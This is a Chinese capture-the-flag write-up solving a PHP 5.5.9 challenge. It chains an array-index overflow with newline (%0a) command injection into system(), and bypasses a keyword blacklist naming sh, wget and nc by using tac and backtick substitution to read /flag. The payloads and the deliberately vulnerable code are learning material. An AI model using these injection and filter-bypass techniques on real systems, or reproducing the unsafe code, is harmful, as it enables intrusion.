知识点1 php5.5.9版本数字溢出漏洞
知识点2 代码执行的绕过技巧

- //php5.5.9
- $stuff = $_POST["stuff"];
- $array = ['admin', 'user'];
- if($stuff === $array && $stuff[0] != 'admin') {、
- //在这里就用到了数字溢出漏洞,
- $num= $_POST["num"];
- if (preg_match("/^\d+$/im",$num)){
- if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
- //这里用到绕过的知识点
- echo "my favorite num is:";
- system("echo ".$num);
- }else{
- echo 'Bonjour!';
- }
- }
- } else {
- highlight_file(__FILE__);
- }
1.数字溢出漏洞
漏洞原理

即,当数组为九位16机制数时,会溢出,等同于重新排序,16的8次方即4294967296在逻辑上等同于下标0;
16的八次方 = 4294967296;
解题:
$stuff === $array && $stuff[0] != 'admin'
跟据这行代码我们构造参数为
stuff[4294967296]=admin&stuff[1]=user
步骤2
system("echo ".$num);
看到system函数,猜测为命令执行漏洞,利用截断符(%0a,即换行)来进行命令执行
构造参数
num=1%0als
payload为
stuff[4294967296]=admin&stuff[1]=user&num=1%0als
将参数放在hackbar执行(因为参数是post请求的)并且通过bp拦截post请求包

注意到 %0D%0A,这个是windows系统的截断符,将其换成 %0a后即可进行命令执行
(这里的a不区分大小写)

成功找到漏洞点
接下来就是绕过了
- !preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)
- //这些字符都被过滤了
- sh,wget,nc,python,php,perl,?,flag,},cat,echo,*,^,],\,',",|
常用的,如ls并没有被过滤

那个+号是因为这个字符被url编码了,因此空格得用+号来替代
因为cat被ban了,因此我们用tac,tac命令就是反着的cat命令。
cat命令是第一行到最后一行输出,tac是最后一行到第一行输出
尝试fla*,发现*也被禁了
问题在于怎么给tac传递 /flag参数
通过给一个文件写入 /flag路径,再通过这个文件拿到/flag

先后向zer0b文件写入 /fla,g 组成/flag,再通过 tac 命令获取zer0b的内容,即可获取/flag
`,这个符号(在键盘的tab键上方)在linux中相当于优先执行的权限
- tac `tac /tmp/zer0b` 这条命令执行过程
-
- 首先执行 ``里的内容即 tac /tmp/zer0b 执行结果为 /flag
-
- 其次执行整个语句即 tac /flag
- 成功获取flag